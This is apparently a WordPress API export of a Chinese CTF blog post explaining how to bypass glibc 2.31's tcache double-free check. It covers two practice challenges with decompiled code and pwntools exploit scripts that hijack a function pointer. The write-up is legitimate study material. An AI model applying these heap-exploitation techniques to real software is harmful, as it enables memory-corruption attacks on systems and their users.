{"id":120,"date":"2026-04-27T22:30:40","date_gmt":"2026-04-27T14:30:40","guid":{"rendered":"http:\/\/39.106.187.170\/?p=120"},"modified":"2026-04-27T22:30:40","modified_gmt":"2026-04-27T14:30:40","slug":"%e3%80%90pwn%e3%80%91%e5%a0%86%e5%ad%a6%e4%b9%a0%e4%b9%8bglibc2-31%e4%b8%8b%e7%9a%84double-free","status":"publish","type":"post","link":"http:\/\/39.106.187.170\/index.php\/2026\/04\/27\/%e3%80%90pwn%e3%80%91%e5%a0%86%e5%ad%a6%e4%b9%a0%e4%b9%8bglibc2-31%e4%b8%8b%e7%9a%84double-free\/","title":{"rendered":"\u3010Pwn\u3011\u5806\u5b66\u4e60\u4e4bglibc2.31\u4e0b\u7684Double Free"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">&nbsp;&nbsp;&nbsp;&nbsp;0x1 Double Free\u662f\u4ec0\u4e48<\/h3>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;<strong>\u00b7<\/strong> Double Free\u5373\u540c\u4e00\u4e2achunk\u88abfree\u4e24\u6b21\u3002\u5047\u8bbechunk_a\u88abfree\u4e24\u6b21\uff0c\u5219\u94fe\u8868\u4e2d\u4f1a\u51fa\u73b0\u5982\u4e0b\u7ed3\u6784\uff1a<\/p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;|&#8212;&#8212;&#8212;&#8212;&#8211;head&#8212;&#8212;&#8212;&#8212;-|<\/p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;|-chunk_a(next-&gt;chunk_a)-|<\/p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;|&#8212;chunk_a(next-&gt;NULL)&#8212;|<\/p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;|&#8212;&#8212;&#8212;&#8212;&#8211;NULL&#8212;&#8212;&#8212;&#8212;&#8211;|<\/p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;\u6b64\u65f6\u8fdb\u884c\u4e00\u6b21malloc\uff0cchunk_a\u4f1a\u6b63\u5e38\u8fd4\u56de\u7ed9\u4e00\u4e2a\u6307\u9488\uff0c\u4f46\u7531\u4e8enext-&gt;chunk_a\uff0c<strong>head\u4f1a\u518d\u4e00\u6b21\u6307\u5411chunk_a\uff0c\u5bfc\u81f4\u4e0b\u4e00\u6b21malloc\u8fd4\u56de\u7684\u6307\u9488\u4ecd\u7136\u662fchunk_a<\/strong>\uff0c\u8fdb\u800c\u5bfc\u81f4\u4e24\u4e2a\u6307\u9488\u5bf9\u540c\u4e00\u4e2a\u5806\u5757\u8fdb\u884c\u8bfb\u5199\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">&nbsp;&nbsp;&nbsp;&nbsp;0x2 glibc2.31\u5bf9Double Free\u7684\u4fdd\u62a4\u673a\u5236<\/h3>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;<strong>\u00b7<\/strong> \u5728\u4e00\u4e2a\u5806\u5757\u88ab\u653e\u8fdbtcache\u524d\uff0cglibc\u4f1a\u68c0\u67e5\u5b83\u7684key\uff0c\u82e5key\u6307\u5411tcache\uff0c\u5219\u8be5chunk\u4f1a\u88ab\u89c6\u4e3a\u53ef\u7591chunk\uff0c\u8fdb\u884c\u8fdb\u4e00\u6b65\u68c0\u67e5\u3002<\/p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;<strong>\u00b7<\/strong> \u8fdb\u4e00\u6b65\u68c0\u67e5\u7684\u673a\u5236\u662f\uff1aglibc\u4f1a\u5230\u8be5chunk\u5bf9\u5e94\u5927\u5c0f\u7684tcache\u94fe\u8868\u4e2d\u67e5\u627e\u8be5chunk\u7684\u6307\u9488\u3002\u82e5\u8be5chunk\u7684\u6307\u9488\u5df2\u7ecf\u5b58\u5728\uff0c\u5219\u62a5\u9519\u3002\u7b2c\u4e00\u6b65\u5bf9key\u7684\u68c0\u67e5\u53ea\u662f\u53ef\u7591\u4fe1\u53f7\uff0c\u53ea\u6709\u5728tcache\u94fe\u8868\u4e2d\u53d1\u73b0\u6539chunk\u7684\u6307\u9488\u624d\u4f1a\u5224\u5b9a\u3002<\/p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;<strong>\u00b7<\/strong> \u7ed5\u8fc7\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>\u00b7<\/strong> \u4fee\u6539key\u4f7fchunk\u4e0d\u8fdb\u5165\u68c0\u67e5\u673a\u5236<\/p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>\u00b7<\/strong> \u4fee\u6539size\u4f7fglibc\u4e0d\u53bbchunk\u5b9e\u9645\u5b58\u5728\u7684bin\u68c0\u67e5<\/p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>\u00b7<\/strong> \u4f7fchunk\u4e0d\u8fdbtcache<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">&nbsp;&nbsp;&nbsp;&nbsp;0x3 \u4f8b\u9898_1<\/h3>\n\n\n\n<p>\u9898\u76ee\uff1ahttps:\/\/lochad-1396125149.cos.ap-beijing.myqcloud.com\/pwn_challanges\/heap\/glibc2.31\/TcacheDoubleFree\/TcacheDoubleFree.zip<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x1 \u4fdd\u62a4<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>    Arch:       amd64-64-little \n    RELRO:      Partial RELRO \n    Stack:      No canary found \n    NX:         NX enabled \n    PIE:        No PIE (0x3fe000) \n    RUNPATH:    b'.' \n    Stripped:   No<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x2 \u4f2a\u7801<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>int __fastcall main(int argc, const char **argv, const char **envp)\n{\n  init(argc, argv, envp);\n  while ( 1 )\n  {\n    menu();\n    switch ( (unsigned int)read_ll() )\n    {\n      case 1u:\n        add();\n        break;\n      case 2u:\n        delete_chunk();\n        break;\n      case 3u:\n        edit();\n        break;\n      case 4u:\n        set_key();\n        break;\n      case 5u:\n        trigger();\n        break;\n      case 6u:\n        puts(\"bye\");\n        return 0;\n      default:\n        puts(\"invalid\");\n        break;\n    }\n  }\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>int add()\n{\n  unsigned int num; \/\/ &#91;rsp+Ch] &#91;rbp-4h]\n\n  printf(\"idx: \");\n  num = read_ll();\n  if ( num &gt;= 8 )\n    return puts(\"invalid\");\n  if ( alive&#91;num] )\n    return puts(\"occupied\");\n  chunks&#91;num] = malloc(0x30uLL);\n  if ( !chunks&#91;num] )\n    exit(0);\n  alive&#91;num] = 1;\n  printf(\"content: \");\n  read_n(chunks&#91;num], 48LL);\n  return puts(\"done\");\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>int delete_chunk()\n{\n  unsigned int num; \/\/ &#91;rsp+Ch] &#91;rbp-4h]\n\n  printf(\"idx: \");\n  num = read_ll();\n  if ( num &gt;= 8 || !chunks&#91;num] )\n    return puts(\"invalid\");\n  free((void *)chunks&#91;num]);\n  alive&#91;num] = 0;\n  return puts(\"done\");\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>int edit()\n{\n  unsigned int num; \/\/ &#91;rsp+Ch] &#91;rbp-4h]\n\n  printf(\"idx: \");\n  num = read_ll();\n  if ( num &gt;= 8 || !alive&#91;num] )\n    return puts(\"invalid\");\n  printf(\"content: \");\n  read_n(chunks&#91;num], 48LL);\n  return puts(\"done\");\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>int set_key()\n{\n  unsigned int num; \/\/ &#91;rsp+Ch] &#91;rbp-4h]\n\n  printf(\"idx: \");\n  num = read_ll();\n  if ( num &gt;= 8 || !chunks&#91;num] )\n    return puts(\"invalid\");\n  printf(\"value: \");\n  *(_QWORD *)(chunks&#91;num] + 8LL) = read_ull();\n  return puts(\"done\");\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>int trigger()\n{\n  if ( control )\n    return control();\n  else\n    return puts(\"nothing\");\n}<\/code><\/pre>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u53e6\uff0cread_ll()\u5c06\u8bfb\u53d6\u5230\u7684\u5185\u5bb9\u8f6c\u6362\u4e3a\u957f\u6574\u578b\uff0cread_n()\u56fa\u5b9a\u8bfb\u53d648\u5b57\u8282\uff0c\u6709\u540e\u95e8\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x3 \u6f0f\u6d1e\u5206\u6790<\/h4>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>\u00b7<\/strong> \u62ffshell\u65b9\u5f0f\u4e0e\u4e0a\u4e00\u9898\u76f8\u4f3c\uff0c\u4f46\u7531\u4e8eedit()\u8bbe\u7f6e\u4e86UAF\u4fdd\u62a4\uff0c\u4e0d\u80fd\u76f4\u63a5\u5199next\u3002\u53c8set_key()\u5141\u8bb8\u8986\u5199key\uff0c\u6240\u4ee5\u53ef\u4ee5\u8fdb\u884cDouble Free\uff0c\u5148\u91cd\u590dfree\u4e00\u4e2achunk\u518dmalloc\u4e00\u4e2achunk\uff0c\u4ece\u800c\u628a\u8be5chunk\u53d8\u4e3a\u53ef\u5199\u7a7a\u95f4\uff0c\u518d\u901a\u8fc7edit\u6539\u5199free_chunk\u7684next\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x4 exp<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import * \ncontext(arch='amd64', os='linux', log_level='debug', terminal=&#91;'konsole', '--noclose', '-e']) \n\nio = process('.\/pwn_patched') \n#io = remote() \n\nwin = 0x401296 \ncontrol = 0x4040e0 \n\ndef memu(idx): \n    io.recvuntil('quit\\n&gt; ') \n    io.sendline(idx) \n\ndef add(idx, content): \n    memu(str(1)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n    io.recvuntil('content: ') \n    io.send(content) \n\ndef delete(idx): \n    memu(str(2)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n\ndef edit(idx, content): \n    memu(str(3)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n    io.recvuntil('content: ') \n    io.send(content) \n\ndef key(idx, value): \n    memu(str(4)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n    io.recvuntil('value: ') \n    io.sendline(value) \n\ndef trigger(): \n    memu(str(5)) \n\nadd(str(0), 'A'*0x30) \ndelete(str(0)) \nkey(str(0), b'0') \ndelete(str(0)) \nkey(str(0), b'0') \ndelete(str(0)) \n\nadd(str(1), p64(control)+b'A'*40) \nadd(str(2), b'\\0'*0x30) \nadd(str(3), p64(win)+b'\\0'*40) \n\ngdb.attach(io) \ntrigger() \n\nio.interactive()<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x5 \u9519\u8bef\u601d\u8def<\/h4>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>\u00b7<\/strong> exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import * \ncontext(arch='amd64', os='linux', log_level='debug', terminal=&#91;'konsole', '--noclose', '-e']) \n\nio = process('.\/pwn_patched') \n#io = remote() \n\nwin = 0x401296 \ncontrol = 0x4040e0 \n\ndef memu(idx): \n    io.recvuntil('quit\\n&gt; ') \n    io.sendline(idx) \n\ndef add(idx, content): \n    memu(str(1)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n    io.recvuntil('content: ') \n    io.send(content) \n\ndef delete(idx): \n    memu(str(2)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n\ndef edit(idx, content): \n    memu(str(3)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n    io.recvuntil('content: ') \n    io.send(content) \n\ndef key(idx, value): \n    memu(str(4)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n    io.recvuntil('value: ') \n    io.sendline(value) \n\ndef trigger(): \n    memu(str(5)) \n\nadd(str(0), 'A'*0x30) \ndelete(str(0)) \nkey(str(0), b'0') \ndelete(str(0)) \n\nadd(str(1), 'B'*0x30) \n\npayload1 = p64(control) \npayload1 += b'C'*40 \nedit(str(1), payload1) \n\nadd(str(2), 'D'*0x30) \nadd(str(3), '\\0'*0x30) \n\npayload2 = p64(win) \npayload2 += b'\\0'*40 \nedit(str(3), payload2) \nprint('*****edit_has_done*****') \n\ngdb.attach(io) \ntrigger() \nprint('*****trigger_has_done*****') \n\nio.interactive()<\/code><\/pre>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>\u00b7<\/strong> \u9519\u8bef\u539f\u56e0\uff1atcachebin\u6709\u7528\u4e8e\u8ba1bin\u5185chunk\u6570\u91cf\u7684count\uff0c\u4e00\u4e2achunk\u88abfree\u8fdb\u4e00\u4e2atcachebin\u65f6\u8be5bin\u7684count\u4f1a++\uff0c\u53ea\u6709\u4e00\u4e2abin\u7684count&gt;0\u65f6\uff0cmalloc\u65f6\u624d\u4f1a\u8003\u8651\u4ece\u8be5bin\u62ff\u53d6chunk\u3002\u5728\u8fd9\u7248exp\u4e2d\uff0c\u53ea\u8fdb\u884c\u4e86\u4e24\u6b21free\uff0c\u5bfc\u81f4count=2\uff0c\u4e24\u6b21malloc\u540e\u867d\u7136head\u5df2\u7ecf\u6307\u5411control\uff0c\u4f46\u7531\u4e8ecount==0\uff0cglibc\u5df2\u7ecf\u4e0d\u4f1a\u518d\u4ece\u8be5bin\u62ff\u53d6chunk\uff0c\u56e0\u6b64\u4e0d\u4f1a\u8fd4\u56decontrol\u5730\u5740\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">&nbsp;&nbsp;&nbsp;&nbsp;0x4 \u4f8b\u9898_2<\/h3>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;\u9898\u76ee\uff1ahttps:\/\/lochad-1396125149.cos.ap-beijing.myqcloud.com\/pwn_challanges\/heap\/glibc2.31\/TcacheDoubleFree_SetSize\/TcacheDoubleFree_SetSize.zip<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x1 \u4fdd\u62a4<\/h4>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u5168\u5173<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x2 \u4f2a\u7801<\/h4>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>\u00b7<\/strong> \u5927\u90e8\u5206\u51fd\u6570\u4e0e\u4e0a\u4e00\u9898\u65e0\u5927\u5dee\u522b\uff0cadd\u6709\u6539\u52a8\uff0cset_key\u53d8\u4e3aset_size\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int add()\n{\n  unsigned __int64 size; \/\/ &#91;rsp+0h] &#91;rbp-10h]\n  unsigned int num; \/\/ &#91;rsp+Ch] &#91;rbp-4h]\n\n  printf(\"idx: \");\n  num = read_stoi();\n  if ( num &gt;= 8 )\n    return puts(\"invalid\");\n  if ( alive&#91;num] )\n    return puts(\"occupied\");\n  printf(\"size: \");\n  size = read_stoi_0();\n  if ( size &lt;= 0x17 || size &gt; 0x40 )\n    return puts(\"invalid\");\n  chunks&#91;num] = malloc(size);\n  if ( !chunks&#91;num] )\n    exit(0);\n  reqs&#91;num] = size;\n  alive&#91;num] = 1;\n  printf(\"content: \");\n  read_n(chunks&#91;num], size);\n  return puts(\"done\");\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>int set_size()\n{\n  unsigned __int64 value; \/\/ &#91;rsp+0h] &#91;rbp-10h]\n  unsigned int num; \/\/ &#91;rsp+Ch] &#91;rbp-4h]\n\n  printf(\"idx: \");\n  num = read_stoi();\n  if ( num &gt;= 8 )\n    return puts(\"invalid\");\n  if ( !chunks&#91;num] )\n    return puts(\"invalid\");\n  printf(\"value: \");\n  value = read_stoi_0();\n  if ( (value &amp; 0xF) != 1 || value &lt;= 0x20 || value &gt; 0x61 )\n    return puts(\"invalid\");\n  *(_QWORD *)(chunks&#91;num] - 8LL) = value;\n  return puts(\"done\");\n}<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x3 \u89e3\u6cd5<\/h4>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>\u00b7<\/strong> \u4e0a\u4e00\u9898\u662f\u6539key\u6765\u7ed5\u8fc7Double Free\u68c0\u6d4b\uff0c\u8fd9\u9053\u9898\u662f\u6539size\uff0c\u9a97glibc\u53bb\u5176\u4ed6\u5927\u5c0f\u7684bin\u53bb\u627e\u8be5chunk\uff0c\u627e\u4e0d\u5230\u5c31\u7ed5\u8fc7\u6210\u529f\u3002\u5177\u4f53\u53ef\u4ee5\u770bexp\u7684\u6ce8\u91ca\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x4 exp<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import * \ncontext(arch='amd64', os='linux', log_level='debug', terminal=&#91;'konsole', '--noclose', '-e']) \n\nio = process('.\/pwn1_patched') \n#io = remote() \n\ncontrol = 0x4040e0 \nwin = 0x401296 \n\ndef menu(idx): \n    io.recvuntil(\"quit\\n&gt; \") \n    io.sendline(idx) \n\ndef add(idx, size, content): \n    menu(str(1)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n    io.recvuntil('size: ') \n    io.sendline(size) \n    io.recvuntil('content: ')  \n    io.send(content) \n\ndef delete(idx): \n    menu(str(2)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n\ndef edit(idx, content): \n    menu(str(3)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n    io.recvuntil('content: ') \n    io.send(content) \n\ndef set_size(idx, value): \n    menu(str(4)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n    io.recvuntil('value: ') \n    io.sendline(value) \n\ndef trigger(): \n    menu(str(5)) \n\n''' \nthinking...... \nA = malloc(0x30) \nB = malloc(0x30) \nfree(A) | A --&gt; tcache&#91;0x40] \nfree(B) | B --&gt; tcache&#91;0x40] \n| tcache&#91;0x40]: head -&gt; B -&gt; A \nset_size(B, 0x31) \nfree(B) | B --&gt; tcache&#91;0x30] \nC = malloc(0x20) \nC.next = &amp;control | B.next = &amp;control \nD = malloc(0x30) | tcache&#91;0x40]: head -&gt; &amp;control \nE = malloc(0x30) | E = &amp;control \nedit(E, &amp;win) \n\u6ce8\uff1a\"|\"\u524d\u4e3a\u64cd\u4f5c\uff0c\u540e\u4e3a\u6548\u679c\u3002\n''' \n\n#gdb.attach(io) \nadd(str(0), str(0x30), 'A'*0x30) \nadd(str(1), str(0x30), 'B'*0x30) \ndelete(str(0)) \ndelete(str(1)) \n#\u5148\u653e\u4e24\u4e2a0x40\u7684chunk\u5230tcache&#91;0x40]\n#chunk&#91;0]\u662f\u4e3a\u4e86\u4fdd\u8bc1\u8be5bin\u7684count&gt;0,\u5426\u5219\u6700\u540e\u4e00\u6b65\u62ffcontrol\u5730\u5740\u65f6\u4f1a\u56e0\u4e3acount=0\u800c\u65e0\u6cd5\u4ece\u8be5bin\u4e2d\u62ff\u5230\u5730\u5740\u3002\n#chunk&#91;1]\u5c06\u88ab\u7528\u4e8e\u5199\u5165control\u5730\u5740\uff0cmalloc\u65f6\u8ba9head\u6307\u5411control\n\nset_size(str(1), str(0x31)) \ndelete(str(1)) \n#\u5c06chunk&#91;1]\u7684size\u5199\u62100x31,free\u65f6glibc\u5c31\u4f1a\u53bbtcache&#91;0x30]\u68c0\u67e5\uff0c\u4ece\u800c\u6210\u529fDouble Free\n\nadd(str(2), str(0x20), p64(control)+b'\\0'*0x18) \n#\u62ff\u51fatcache&#91;0x30]\u4e2d\u7684chunk\u5e76\u5411\u5176\u5199\u5165&amp;control,tcache&#91;0x40]\u4e2d\u7684chunk&#91;1]\u7684next\u4e5f\u5c31\u53d8\u6210\u4e86&amp;control\n\nadd(str(3), str(0x30), 'D'*0x30) \nadd(str(4), str(0x30), 'E'*0x30) \nedit(str(4), p64(win)+b'\\0'*0x28) \n#\u4e4b\u540e\u5c31\u662f\u8ddf\u4e0a\u4e00\u9898\u4e00\u6837\uff0c\u8fd4\u56de&amp;control,\u5199\u6210win,\u8c03\u7528trigger\u62ffshell\n\ntrigger() \n\nio.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp;&nbsp;&nbsp;&nbsp;0x1 Double Free\u662f\u4ec0\u4e48 &nbsp;&nbsp;\u2026<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[],"class_list":["post-120","post","type-post","status-publish","format-standard","hentry","category-heap2-31"],"_links":{"self":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts\/120","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/comments?post=120"}],"version-history":[{"count":1,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts\/120\/revisions"}],"predecessor-version":[{"id":121,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts\/120\/revisions\/121"}],"wp:attachment":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/media?parent=120"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/categories?post=120"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/tags?post=120"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}